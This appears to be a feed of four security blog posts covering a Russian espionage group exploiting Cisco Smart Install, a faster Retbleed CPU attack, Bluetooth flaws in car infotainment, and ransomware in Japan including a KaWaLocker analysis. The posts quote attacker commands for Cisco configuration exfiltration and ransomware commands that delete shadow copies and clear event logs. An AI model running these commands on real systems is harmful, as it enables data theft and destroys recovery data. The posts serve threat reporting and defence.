• Static Tundra is a Russian state-sponsored cyber espionage group linked to the FSB’s Center 16 unit that has been operating for over a decade, specializing in compromising network devices for long-term intelligence gathering operations.
• The group actively exploits a seven-year-old vulnerability (CVE-2018-0171), which was patched at the time of the vulnerability publications, in Cisco IOS software’s Smart Install feature, targeting unpatched and end-of-life network devices to steal configuration data and establish persistent access.
• Primary targets include organizations in telecommunications, higher education and manufacturing sectors across North America, Asia, Africa and Europe, with victims selected based on their strategic interest to the Russian government.
• Static Tundra employs sophisticated persistence techniques including the historic SYNful Knock firmware implant (first reported in 2015) and bespoke SNMP tooling to maintain undetected access for multiple years.
• The threat extends beyond Russia’s operations — other state-sponsored actors are likely conducting similar network device compromise campaigns, making comprehensive patching and security hardening critical for all organizations.
• Threat actors will continue to abuse devices which remain unpatched and have Smart Install enabled.
• Customers are urged to apply the patch for CVE-2018-0171 or to disable Smart Install as indicated in the advisory if patching is not an option. Customer support is available if needed by initiating a TAC request.

Since 2015, Cisco Talos has observed the compromise of unpatched and often end-of-life Cisco networking devices by a highly sophisticated threat actor. Based on sufficient recent activity observed through our ongoing analysis, we have designated this threat cluster “Static Tundra.” This blog highlights our observations regarding this threat actor and provides recommendations for detecting and preventing activities associated with Static Tundra.

Threat actor and campaign overview

Talos assesses with high confidence that Static Tundra is a Russian state-sponsored cyber espionage group specializing in network device exploitation to support long-term intrusion campaigns into organizations that are of strategic interest to the Russian government. Static Tundra is likely a sub-cluster of another group, “Energetic Bear” (aka BERSERK BEAR), based on an overlap in tactics, techniques and procedures (TTPs) and victimology, which has been corroborated by the FBI. Energetic Bear was linked to the Russian Federal Security Service’s (FSB) Center 16 unit in a 2022 U.S. Department of Justice indictment. Talos also assesses with moderate confidence that Static Tundra is associated with the historic use of “SYNful Knock,” a malicious implant installed on compromised Cisco devices publicly reported in 2015.

Static Tundra is assessed to be a highly sophisticated cyber threat actor that has operated for over a decade, conducting long-term espionage operations. Static Tundra specializes in network intrusions, demonstrated by the group’s advanced knowledge of network devices and use of bespoke tooling, possibly including the novel, but now decade-old, SYNful Knock router implant.

Static Tundra targets unpatched, and often end-of-life, network devices to establish access on primary targets and support secondary operations against related targets of interest. Once they establish initial access to a network device, Static Tundra will pivot further into the target environment, compromising additional network devices and establishing channels for long-term persistence and information gathering. This is demonstrated by the group’s ability to maintain access in target environments for multiple years without being detected.

For years, Static Tundra has been compromising Cisco devices by exploiting a previously disclosed vulnerability in the Smart Install feature of Cisco IOS software and Cisco IOS XE software (CVE-2018-0171) that has been left unpatched, often after those devices are end-of-life. We assess that the purpose of this campaign is to compromise and extract device configuration information en masse, which can later be leveraged as needed based on then-current strategic goals and interests of the Russian government. This is demonstrated by Static Tundra’s adaptation and shifts in operational focus as Russia’s priorities have changed over time.

Since Static Tundra was first observed in 2015, the group has targeted organizations in the telecommunications, higher education and manufacturing sectors. Victims are primarily based in Ukraine and allied countries, but also include other entities globally. Talos estimates Static Tundra will continue network intrusion campaigns into organizations that are of strategic interest to Russia, specifically manufacturing and higher education, and targets of political interest will likely continue to include Ukraine and its allies.

While this blog focuses on Static Tundra’s ongoing campaign against network devices, many other state-sponsored actors also covet the access these devices afford, as we have warned many times over the years. Organizations should be aware that other advanced persistent threats (APTs) are likely prioritizing carrying out similar operations as well.

Targeting and victimology

Static Tundra has been observed as primarily targeting organizations in the telecommunications, higher education and manufacturing sectors, pivoting over time in alignment with shifts in Russian strategic interests. Known victims span multiple geographic regions, including North America, Asia, Africa and Europe.

One of the clearer targeting shifts we observed was that Static Tundra’s operations against entities in Ukraine escalated at the start of the Russia-Ukraine war, and have remained high since then. Static Tundra was observed compromising Ukrainian organizations in multiple verticals, as opposed to previously more limited, selective compromises typically being associated with this threat actor.

Tactics, techniques and procedures (TTPs)

We assess that Static Tundra’s two primary operational objectives are 1) compromising network devices to gather sensitive device configuration information that can be leveraged to support future operations, and 2) establishing persistent access to network environments to support long-term espionage in alignment with Russian strategic interests. Because of the large global presence of Cisco network infrastructure and the potential access it affords, the group focuses heavily on the exploitation of these devices and possibly also the development of tools to interact with and persist on these devices. Static Tundra utilizes bespoke tooling that prioritizes persistence and stealth to achieve these objectives. The tooling and techniques target old and unpatched edge devices.

Initial access

Since at least 2021, Static Tundra has been observed aggressively exploiting CVE-2018-0171, a known and patched vulnerability in Cisco IOS software and Cisco IOS XE software that could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device.

Cisco issued a patch for CVE-2018-0171 in 2018. As advised previously by Cisco, customers are strongly urged to apply the patch immediately given active and ongoing exploitation of the vulnerability by sophisticated state-sponsored or state-aligned active persistent threat (APT) groups. Devices that are beyond end of life and cannot support the patch require additional security precautions as detailed in the 2018 security advisory. Unpatched devices with Smart Install enabled will continue to be vulnerable to these and other attacks unless and until customers take action.

Talos assesses with moderate confidence that Static Tundra leverages bespoke tooling to automate the exploitation of CVE-2018-0171 and subsequent configuration exfiltration against a predefined set of target IP addresses, likely gathered using publicly available scan data from a service such as Shodan or Censys. The process is similar to those that have been reported publicly in red teaming blogs and similar publications.

After gaining initial entry via exploitation of the Smart Install vulnerability, Static Tundra’s CVE-2018-0171 attack chain continues by issuing a command that will modify the running configuration and enable the local Trivial File Transfer Protocol (TFTP) server:

tftp-server nvram:startup-config

This then allows Static Tundra to make a follow-up connection to the newly spawned TFTP server to retrieve the startup configuration. The extracted configuration may reveal credentials and/or Simple Network Management Protocol (SNMP) community strings that can then be leveraged for more direct access to the system.

Static Tundra has also been observed making initial access to devices via SNMP, leveraging a community string that was either compromised in a previous attack or guessed. In some cases, the group used insecure community strings of “anonymous” and “public” with read-write permissions.

Execution

Upon gaining initial access to a target environment, Static Tundra interacts with the SNMP service using community strings that were compromised during the initial access phase. In some cases, Static Tundra spoofs the source address of the SNMP traffic. This technique allows the threat actor to obfuscate their infrastructure and bypass access control lists (ACLs), as the SNMP protocol does not use session establishment. SNMP offers a variety of options for further execution on a compromised device, such as executing commands directly, modifying the running configuration and extracting the current running configuration or startup configuration.

Static Tundra leverages SNMP to send instructions to download a text file from a remote server and append it to the running configuration. This can allow for additional means of access via newly created local user accounts in conjunction with enabling remote services including TELNET.

Persistence

Due to the relatively static nature of network environments, Static Tundra often relies on compromised SNMP community strings and credentials to maintain access to systems over the course of multiple years. In some cases, Static Tundra creates privileged local user accounts and/or additional SNMP community read-write strings.

Static Tundra has been observed leveraging a Cisco IOS firmware implant known as SYNful Knock to achieve persistent access to compromised systems. SYNful Knock is a modular implant that attackers inject into a Cisco IOS image and then load onto the compromised device. This provides a stealthy means of access that will persist through reboots. Remote access to the device can then be achieved by sending a specifically crafted TCP SYN packet, commonly referred to as a “magic packet.” Additional information, including a full technical write-up, can be found in a 2015 blog published by Mandiant with additional details from a 2015 Cisco blog. Additionally, Talos has published a script that can be used to scan for and detect the SYNful Knock implant.

Defense evasion

Static Tundra has been observed modifying TACACS+ configuration on compromised devices, hindering remote logging capabilities. Static Tundra also modifies access control lists (ACLs) to permit access from specific IP addresses or ranges under their control.

Discovery

Static Tundra likely uses publicly-available scan data from services such as Shodan or Censys to identify systems of interest. Once inside a target environment, Static Tundra relies heavily on native commands, such as “show cdp neighbors”, to reveal additional systems of interest within the target environment. This presents a relatively stealthy way to identify further targets without the need for active scanning.

Collection

One of Static Tundra’s primary actions on objectives is to capture network traffic that would be of value from an intelligence perspective. To achieve this, Static Tundra establishes Generic Routing Encapsulation (GRE) tunnels that redirect traffic of interest to attacker-controlled infrastructure, which can then be captured and further analyzed. Static Tundra has also been observed collecting and exfiltrating NetFlow data on compromised systems, revealing source and destination information on streams of potential interest.

Exfiltration

Static Tundra exfiltrates configuration information through a variety of means, including inbound TFTP connections via the Smart Install exploitation procedure mentioned in the Initial Access section, outbound TFTP or FTP connections from the compromised device to attacker-controlled infrastructure, and inbound SNMP connections using the copy configuration process.

Static Tundra leverages bespoke SNMP tooling and functionality provided by the CISCO-CONFIG-COPY-MIB to exfiltrate configurations from compromised devices via either TFTP or Remote Copy Protocol (RCP).

Static Tundra has been observed using the following commands to exfiltrate configuration files via TFTP and FTP:

do show running-config | redirect tftp://:/conf_bckp
copy running-config ftp://user:pass@/output.txt

Detection

Talos recommends taking the following steps to identify suspicious activity that may be related to this campaign:

• Conduct comprehensive configuration management (including auditing), in line with best practices.
• Conduct comprehensive authentication, authorization and command issuance monitoring.
• Monitor syslog and AAA logs for unusual activity, including a decrease in normal logging events, or a gap in logged activity.
• Monitor your environment for unusual changes in behavior or configuration.
• Profile (fingerprint via NetFlow and port scanning) network devices for a shift in surface view, including new ports opening/closing and traffic to/from (not traversing).
• Where possible, develop NetFlow visibility to identify unusual volumetric changes.
• Look for non-empty or unusually large .bash_history files.

Additional identification and detection can be performed using the Cisco forensic guides.

Preventative measures

The following strong recommendations apply to entities in all sectors.

• Cisco-specific measures
  • Apply the patch for CVE-2018-0171.
    • Disable Smart Install as indicated in the advisory if patching is not an option.
  • Leverage Cisco Hardening Guides when configuring devices.
  • Disable telnet and ensure it is not available on any of the Virtual Teletype (VTY) lines on Cisco devices by configuring all VTY stanzas with “transport input ssh” and “transport output none”.
  • Disable Cisco’s Smart Install service using “no vstack” for any device where application of the available patch for CVE 2018-0171 is infeasible, and develop end-of-life management plans for technology too old to patch.
  • Utilize Type 8 passwords for local account credential configuration.
  • Utilize Type 6 for TACACS+ key configuration.
• General measures
  • Rigorously adhere to security best practices, including updating, access controls, user education and network segmentation.
  • Stay up to date on security advisories from the U.S. government and industry and consider suggested configuration changes to mitigate described issues.
  • Update devices as aggressively as possible. This includes patching current hardware and software against known vulnerabilities and replacing end-of- life hardware and software.
    • Select complex passwords and community strings and avoid default credentials.
  • Use multi-factor authentication (MFA).
  • Encrypt all monitoring and configuration traffic (e.g., SNMPv3, HTTPS, SSH, NETCONF, RESTCONF).
  • Lock down and aggressively monitor credential systems, such as TACACS+ and any jump hosts.
  • Utilize AAA to deny configuration modifications of key device protections (e.g., local accounts, TACACS+, RADIUS).
  • Prevent and monitor for exposure of administrative or unusual interfaces (e.g., SNMP, SSH, HTTP, HTTPS).
  • Disable all non-encrypted web management capabilities.
  • Verify existence and correctness of access control lists for all management protocols (e.g., SNMP, SSH, Netconf, etc.).
  • Store configurations centrally and push to devices. Do NOT allow devices to be the trusted source of truth for their configurations.

Indicators of compromise (IOCs)

Cisco Talos Blog – ​Read More

In a new paper, Google researchers Matteo Rizzo and Andy Nguyen have detailed an improved Retbleed attack scenario. As we’ve explained in a previous post, the original Retbleed attack exploited vulnerabilities in AMD’s Zen and Zen 2, as well as Intel’s Kaby Lake and Coffee Lake CPUs. Hardware vulnerabilities of this kind are extremely difficult to exploit in realistic settings, which is why the various forms of Spectre and derivative attacks like Retbleed have remained largely theoretical. Despite this, both CPU manufacturers and software developers have implemented methods to mitigate them. The essence of the new Google research is to demonstrate how the effectiveness of the Retbleed attack can be increased. Without fundamentally changing the attack’s architecture, they were able to leverage features of AMD Zen 2 CPUs to read arbitrary data from RAM.

Retbleed in a nutshell

Like Spectre, Retbleed exploits a feature called branch prediction in a computer’s CPU. Branch prediction allows the processor to speculatively execute instructions without waiting for the results of previous computations. Sometimes such predictions are wrong, but normally this only results in a slight, imperceptible slowdown in the application’s performance.

In 2018, the Spectre attack showed that incorrect predictions can be used to steal secrets. This is possible due to two key characteristics. First, the branch prediction system can be trained to access a memory area containing secret data, which then gets loaded into the CPU cache. Second, a way was found to extract this secret data from the cache through a side channel by measuring the execution time of a specific instruction.

Retbleed can be considered an evolution of the Spectre v2 attack: it also exploits the characteristics of the branch prediction system, but differs in how it injects instructions. What’s more, Retbleed can bypass the technology used to protect against Spectre v2, and therefore threatens systems running on more modern hardware. Retbleed remains difficult to implement. A demonstration in ideal conditions by the authors of the original research took a full 90 minutes to extract the secret (in that case a user password).

What the Google researchers accomplished

The researchers from Google were able to significantly accelerate a Retbleed attack. The key takeaway from their work is that arbitrary sections of RAM at 13 KB/s can be read. The accuracy of extracting secret data from the cache is also crucial for such attacks, and in this case it was one hundred percent. The experts demonstrated how the security systems of the operating system kernel – specifically the Linux kernel – can be bypassed. Another significant improvement they made was the use of an attack known as Speculative ROP, which they modified to evade the very same defenses designed for Spectre v2.

According to the researchers, the only limitation of their exploit is the need to know the system’s kernel configuration in advance. This isn’t a major hurdle because many systems use common, standard configurations. Even for unknown configurations, attackers can perform a preliminary analysis.

Should we expect Retbleed attacks in the wild?

Most such attacks explore a scenario where malicious code with low privileges runs on a standard computer – ultimately gaining access to sensitive data. However, the same could be said of attacks using traditional malware. If an attacker has already managed to execute arbitrary code on a system, they don’t necessarily need to resort to extremely complex methods for privilege escalation. There are often simpler ways to achieve the same result, such as exploiting a vulnerability in an application or system software.

Attacks like Spectre and Retbleed pose the greatest danger to cloud systems. For a cloud provider, it’s critically important that clients whose virtual machines share the same hardware can’t gain access to other users’ data or hypervisor information. Google’s researchers claim that this new variant of the Retbleed attack allows for exactly that. As a result, Google has stopped using servers with AMD Zen 2 architecture CPUs in its own cloud services for tasks that involve clients executing arbitrary code. So it does seem they’re taking this threat seriously.

Kaspersky official blog – ​Read More

Cars these days are effectively computers on wheels — making them targets for cybercriminals: theft, unauthorized activation of on-board equipment, remote braking and steering, and spying on drivers and passengers are all perfectly doable by the bad guys. But carrying out such attacks often requires either physical access to the vehicle or remote access to its telematics systems (that is, hijacking communications with the carmaker’s server over the cellular network). However, a recent study by PCA Cyber Security describes a new hacking method that targets the car’s infotainment system via Bluetooth. The four vulnerabilities in question — collectively named PerfektBlue — are unlikely to lead to widespread car thefts or hacks, but it’s still worth knowing about them and exercising caution.

Under the hood of PerfektBlue

If your car was made within the last 10 years, no doubt it lets you connect your smartphone via Bluetooth to make hands-free calls or listen to music. The infotainment system is a part of the head unit, and it uses a built-in Bluetooth chip and special software to work. The software of choice for many carmakers is OpenSynergy Blue SDK. According to its developers, Blue SDK is used in 350 million vehicles made by Ford, Mercedes-Benz, Skoda, Volkswagen, and others.

PCA Cyber Security discovered four vulnerabilities in Blue SDK (CVE-2024-45431, CVE-2024-45432, CVE-2024-45433, CVE-2024-45434) which, when used together, could allow an attacker to run malicious code in the system. To do so, they’d need to be connected to the car via Bluetooth, which means pairing a device. If successful, the attacker can send malicious commands to the car using the Audio/Video Remote Control Profile (AVCRP) for Bluetooth. This causes an error in the head unit’s operating system, giving the hacker the same Bluetooth permissions as the carmaker’s software. Armed with these permissions, the attacker can theoretically track the vehicle’s location, eavesdrop through the car’s built-in microphones, as well as steal data from the head unit, such as the victim’s address book. Depending on the digital architecture of the car, the CAN bus for communication between electronic control units (ECUs) may get compromised — allowing an intruder to take over essential functions such as braking.

Practical questions about PerfektBlue

How to spot and prevent this attack? This depends on how Bluetooth is implemented in your particular vehicle. In some rare cases, the in-car infotainment system may not require any driver/passenger confirmation at all — leaving Bluetooth open to third-party connections. If so, there’s no way to stop an attack (!). Most cars however require the driver to confirm a connection to a new device, so a driver will see an unexpected connection request. If the request is denied, the attack will fail. The car may even automatically deny connection if the driver has not explicitly enabled pairing mode in the settings. If that applies to your car, attackers will have a job on their hands.

How to determine if your car is vulnerable? Unfortunately, makers tend not to disclose information about vehicle components — let alone the software inside them. Therefore, the only reliable way is to contact a branded dealer or specialized car service where they can check the head unit and advise on whether new firmware is available that eliminates the vulnerabilities. The researchers themselves experimented (and successfully exploited the vulnerabilities) on the head units of a Volkswagen ID.4 (infotainment system: MEB ICAS3), a Mercedes-Benz (NTG6) and a Skoda Superb (MIB3).

How to protect your car and yourself? The best advice is to update the head unit firmware to a patched version. Although OpenSynergy released software updates back in September 2024, these must first be applied by the manufacturer of the head unit, and only then by the carmaker. The latter must also distribute the new firmware across its dealer network. Therefore, some vulnerable cars may still be lacking new firmware.

The second reliable method of protection is to disable in-car Bluetooth.

What’s the attack range? With standard Bluetooth hardware, the attack range is limited to 10 meters, but special amplifiers (range extenders) can extend this to 50–100 meters. If a vehicle is equipped with 4G cellular network technology, then after the first phase of the attack, which requires Bluetooth, threat actors can theoretically maintain control over the car via the cellular network.

Is it true the engine must be on for the attack to work? This limitation was reported by Volkswagen, but in practice almost all cars allow you to turn on the infotainment system together with Bluetooth while the ignition is off. Therefore, a running engine is not an attack precondition.

What should carmakers do to improve protection against such attacks? Car manufacturers should adopt the Secure by Design approach. Kaspersky, together with manufacturers of head units and automotive electronics, is creating a line of Cyber Immune solutions based on KasperskyOS that keep the system protected and running even if a vulnerable component is attacked. But given the long development and testing cycles in the automotive industry, it will be several more years before Cyber Immune cars hit the roads.

More case studies of car hacking through vulnerabilities in electronic systems:

• Hacking smart-car alarm systems
• Tesla hacks
• A universal VW key, just $40
• Black Hat USA 2015: The full story of how that Jeep was hacked
• How that Jeep was hacked. Again

Kaspersky official blog – ​Read More

• In the first half of 2025, the number of ransomware attacks in Japan increased by approximately 1.4 times compared to the previous year.
• Ransomware attackers continue to primarily target small and medium-sized enterprises in Japan. The most affected industry remains manufacturing, unchanged from last year.
• The ransomware group causing the most damage in Japan is “Qilin.”
• In late June, a new ransomware group called “Kawa4096” emerged and might have attacked two Japanese companies.

Victimized companies

Figure 1 summarizes the ransomware incidents involving Japanese domestic companies, including overseas branches and subsidiaries, from January 1 to June 30, 2025. According to the Cisco Talos investigation, there were 68 ransomware cases affecting organizations in Japan during this period. Sources include Cisco telemetry, official statements from affected companies, news reports and data from ransomware leak sites. Compared to 48 cases during the same period last year, this represents an approximately 1.4-fold increase. The number of incidents per month ranged from a minimum of 4 to a maximum of 16, with an average of about 11 ransomware attacks per month.

The industries affected remain largely unchanged from the same period last year, with the manufacturing sector experiencing the highest number of incidents at 18.2%, followed by the automotive sector with 5 cases (5.7%), and trading companies, construction and transportation each reporting 4 cases (4.6%).

Regarding the size of the affected organizations, those with capital of less than 100 million yen (or ¥) accounted for the largest share at 38%, followed by those with capital from ¥100 million – 1 billion at 31%. In total, organizations with capital under ¥1 billion made up 69% of all cases, indicating that attackers continue to primarily target small and medium-sized enterprises (see Figure 3).

Types of ransomware most frequently involved in incidents

LockBit and 8base, which were among the most frequently observed ransomware groups in Japan during the first half of FY2024, ceased their activities following takedown operations by law enforcement in February 2024 and February 2025 respectively, as publicly announced in press releases. As a result, neither group has been observed in 2025.

RansomHub and Hunters International, which ranked among the top ransomware groups last year, are confirmed to still be active in Japan. Notably, the ransomware group Qilin, which had not been reported to have caused any damage in Japan in FY2024, emerged as the most active group in the first half of FY2025, with eight confirmed victim organizations in the country. Qilin has been active since October 2022 and is one of the ransomware groups exerting significant influence both domestically and internationally. The findings from this investigation further suggest that Qilin’s activity is intensifying, making it one of the most critical groups to watch.

Following Qilin, three groups — Lynx, Nightspire, and RansomHub — accounted for three incidents each. Regarding RansomHub, attacks targeting Japan were also confirmed around the same time in 2024. Groups such as Akira, Cicada3301, Gunra, Kawa4096 and Space Bears were each responsible for two incidents. In particular, Kawa4096, which began operations in late June 2025, has targeted Japan from the outset, warranting special attention.

Other groups with one confirmed incident each include Black Suit, CLOP, Devman, Fog and Play, among others.

Spotlight: Kawa4096 ransomware group

Trustwave published a useful analysis report on Kawa4096 in July 2025.

The ransomware group first posted about a victim organization on its leak site, shown in Figure 5, on June 19, 2025. Subsequently, it disclosed information believed to pertain to attacks on two Japanese companies on June 26 and June 28.

KaWaLocker ransomware deployed by Kawa4096

Config File

The ransomware used by this group, shown in Figure 6, utilizes the FindResourceW API to load a configuration file from the resource section, as illustrated in Figure 7. The configuration file defines items such as file extensions, directories and specific folders to exclude from encryption; processes and services to terminate; and commands to execute. In the example configuration file shown in the figure, the command to be executed via WMI is defined as <cmd_post value=”calc”>, which causes the calculator to launch. Since it only launches the calculator after encryption, it is likely being used to check whether the configuration has been correctly applied. Depending on the value set, arbitrary commands can be executed. In other configuration files, Talos has also confirmed cases where a forced reboot is triggered after encryption using the command shutdown /r /t 0.

Creating new file extensions and icons

The file extension added after encryption is also determined by a value loaded from the resource section, just like the configuration file. Specifically, the ransomware sets the extension using the data starting 8 bytes from the loaded value, and uses the following 9 bytes as the new extension.

Once the extension name for the encrypted files is determined, an icon file used after encryption is created at the following path using the CreateFileW API:

C:UsersPublicDocuments.C3680868C.ico

After that, a new key named “.C3680868C” is created under “HKEY_LOCAL_MACHINESoftwareClasses” in the registry, with a subkey DefaultIcon whose value is set to the path of the icon mentioned above.

Types of arguments

This ransomware checks for the presence of the “all” argument upon execution. (Figure 12)

Below is a summary of the three arguments:

• -all: Executes the ransomware’s processing using multithreading
• -d: Encrypts only the specified directory
• -dump: Uses the MiniDumpWriteDump API to create a .dmp file containing crash or runtime information in the execution folder

When the -all option is not specified, the ransomware re-executes itself as “%ws” -all using the CreateProcessW API. Additionally, only when -all is not specified, the ransomware creates a Mutex named “SAY_HI_2025” using the CreateMutexA API to check whether it is already running.

Ransom note

A ransom note named “!!Restore-My-file-Kavva.txt,” as shown in Figure 13, is created in C: and in each encrypted folder. The ransom note primarily states that the system has been encrypted and that important data has been stolen — characteristics typical of double-extortion ransomware. It warns that if communication is refused, the data will be published. It also specifies the types of data involved, such as employees’ personal information and customer information, making it clear that the attackers are urging the victim to initiate contact with them.

Data deletion

After file encryption, the following commands are executed to prevent recovery by deleting backup-related data and traces, such as event logs.

vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe delete shadows /all /quiet
wmic shadowcopy delete /nointeractive
cmd.exe /c wevtutil cl security | wevtutil cl system | wevtutil cl application

Depending on the configuration settings, the program may also delete itself.

cmd.exe /C ping 127.0.0.1 -n 2 > nul && del /F

Encryption

Regarding the encryption method, the chunk size is determined based on the size of the target file, and the number of chunks is decided accordingly. For files smaller than or equal to 10MB, the data is not split for encryption. However, for files larger than 10MB, the file is divided based on varying chunk sizes according to file size, as shown in Figure 15. The base chunk size is defined by the value at offset (a1 + 488), which is set to 0x10000 (64KB). Figure 16 shows the chunk sizes corresponding to different file sizes. This implementation improves encryption performance by accelerating the processing of files.

Once the chunk count is determined, the target data is encrypted using the Salsa20 stream cipher.

KaWaLocker 2.0

We also observed KaWaLocker 2.0 in late July 2025. This indicates that the attackers may become even more active in deploying this malware in the future. One of the main changes is that the ransom note differs from the initial version of KaWaLocker. As shown in Figure 17, the ransom note for KaWaLocker 2.0 includes a newly added email contact.

Another change is that when examining the configuration of KaWaLocker 2.0, we found that a flag called “hide_name” had been added.

When this flag is enabled, the file name is changed and encrypted based on the absolute file path using a hash function.

Coverage

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles.  Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work.  Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

ClamAV detections are also available for this threat:

Indicators of compromise (IOCs)

The IOCs can also be found in our GitHub repository here.

Cisco Talos Blog – ​Read More